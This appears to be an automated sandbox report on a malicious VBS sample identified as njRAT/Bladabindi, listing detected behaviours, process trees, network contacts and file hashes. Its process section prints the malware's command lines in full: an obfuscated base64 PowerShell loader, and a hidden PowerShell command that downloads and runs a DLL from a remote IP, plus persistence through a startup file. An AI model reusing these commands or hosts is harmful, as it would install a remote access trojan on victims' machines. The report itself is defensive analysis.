Analysis Overview
SHA256
7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab
Threat Level: Known bad
The file 7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Blocklisted process makes network request
Checks computer location settings
Drops startup file
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-09-01 19:12
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-09-01 19:12
Reported
2022-09-01 19:15
Platform
win7-20220812-en
Max time kernel
38s
Max time network
44s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1132 wrote to memory of 1672 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1132 wrote to memory of 1672 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1132 wrote to memory of 1672 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1672 wrote to memory of 856 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1672 wrote to memory of 856 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1672 wrote to memory of 856 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBRAFcARQBSAFQAWQAvAEMA⌚⌚⌚gB⌚⌚⌚AFoALwBEAGwAbABmADMALgB0AHgAdAAnACkAKQA7AFsA⌚⌚⌚wB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAHgASwB2AEsAawB1AE4AWgAuAF⌚⌚⌚ARwBsAHkAbQB6AF⌚⌚⌚AZwAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcAVQBEAHMA⌚⌚⌚wBpAEQAYgBiACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMgBYAFoALwB3AG⌚⌚⌚AbgAvAHQAcwBlAHQALwA5ADQALgA5ADEALgAxADQAMgAuADEAOQAvAC8AOgBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwB3AG⌚⌚⌚AZAAzADcAMwBrAE4ASABpAGgAZgBvADkAMAA4ADMANwA4ACYAJAAhACIAIwAkAC⌚⌚⌚AJgB1AGgAaABqAGYAbgA3AHcAZAAnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.2XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , 'wed373kNHihfo908378&$!"#$%&uhhjfn7wd' ))"
Network
| Country | Destination | Domain | Proto |
| RU | 91.241.19.49:80 | 91.241.19.49 | tcp |
Files
memory/1132-54-0x000007FEFB8D1000-0x000007FEFB8D3000-memory.dmp
memory/1672-55-0x0000000000000000-mapping.dmp
memory/1672-57-0x000007FEF4490000-0x000007FEF4EB3000-memory.dmp
memory/1672-59-0x00000000024E4000-0x00000000024E7000-memory.dmp
memory/1672-58-0x000007FEF3930000-0x000007FEF448D000-memory.dmp
memory/856-60-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | b72302410df776ef904e98ab14a38564 |
| SHA1 | 214976c691d0d2cfd9d95b96ec81c9f0cf5999c7 |
| SHA256 | c8d92034706bf1c085908967c23bc4ee67482129546a76fab4cda75d3756cc94 |
| SHA512 | 802f237d68c2b67c529d3a455c8dad409c66f16b50d9b6b0d31195b131828f719fe1bb8bfb5dee730561ae687e83ad7cfba29c493b883b91c0764c620a9d65c3 |
memory/856-63-0x000007FEF4490000-0x000007FEF4EB3000-memory.dmp
memory/856-64-0x000007FEF3930000-0x000007FEF448D000-memory.dmp
memory/1672-65-0x00000000024EB000-0x000000000250A000-memory.dmp
memory/856-66-0x0000000002524000-0x0000000002527000-memory.dmp
memory/856-67-0x000000000252B000-0x000000000254A000-memory.dmp
memory/856-68-0x0000000002524000-0x0000000002527000-memory.dmp
memory/856-69-0x000000000252B000-0x000000000254A000-memory.dmp
memory/1672-70-0x00000000024E4000-0x00000000024E7000-memory.dmp
memory/1672-71-0x00000000024EB000-0x000000000250A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-09-01 19:12
Reported
2022-09-01 19:15
Platform
win10v2004-20220812-en
Max time kernel
147s
Max time network
152s
Command Line
Signatures
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wed373kNHihfo908378&$!#$%&uhhjfn7wd.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wed373kNHihfo908378&$!#$%&uhhjfn7wd.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4896 set thread context of 1320 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBRAFcARQBSAFQAWQAvAEMA⌚⌚⌚gB⌚⌚⌚AFoALwBEAGwAbABmADMALgB0AHgAdAAnACkAKQA7AFsA⌚⌚⌚wB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAHgASwB2AEsAawB1AE4AWgAuAF⌚⌚⌚ARwBsAHkAbQB6AF⌚⌚⌚AZwAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcAVQBEAHMA⌚⌚⌚wBpAEQAYgBiACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMgBYAFoALwB3AG⌚⌚⌚AbgAvAHQAcwBlAHQALwA5ADQALgA5ADEALgAxADQAMgAuADEAOQAvAC8AOgBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwB3AG⌚⌚⌚AZAAzADcAMwBrAE4ASABpAGgAZgBvADkAMAA4ADMANwA4ACYAJAAhACIAIwAkAC⌚⌚⌚AJgB1AGgAaABqAGYAbgA3AHcAZAAnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.2XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , 'wed373kNHihfo908378&$!"#$%&uhhjfn7wd' ))"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Network
| Country | Destination | Domain | Proto |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| RU | 91.241.19.49:80 | 91.241.19.49 | tcp |
| US | 8.8.8.8:53 | nyas22.duckdns.org | udp |
| CO | 179.14.8.103:57831 | nyas22.duckdns.org | tcp |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 8.8.8.8:53 | 15.89.54.20.in-addr.arpa | udp |
| NL | 104.80.225.205:443 | tcp |
Files
memory/2724-132-0x0000000000000000-mapping.dmp
memory/2724-133-0x0000014274B80000-0x0000014274BA2000-memory.dmp
memory/2724-134-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp
memory/4896-135-0x0000000000000000-mapping.dmp
memory/4896-136-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp
memory/2724-137-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp
memory/4896-138-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp
memory/1320-139-0x0000000000400000-0x000000000040C000-memory.dmp
memory/1320-140-0x000000000040675E-mapping.dmp
memory/4896-141-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a6c9d692ed2826ecb12c09356e69cc09 |
| SHA1 | def728a6138cf083d8a7c61337f3c9dade41a37f |
| SHA256 | a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b |
| SHA512 | 2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
memory/2724-144-0x00007FFC65C20000-0x00007FFC666E1000-memory.dmp
memory/1320-145-0x00000000056D0000-0x000000000576C000-memory.dmp
memory/1320-146-0x0000000005DD0000-0x0000000006374000-memory.dmp
memory/1320-147-0x0000000005940000-0x00000000059D2000-memory.dmp
memory/1320-148-0x0000000005900000-0x000000000590A000-memory.dmp
memory/1320-149-0x0000000005B40000-0x0000000005BA6000-memory.dmp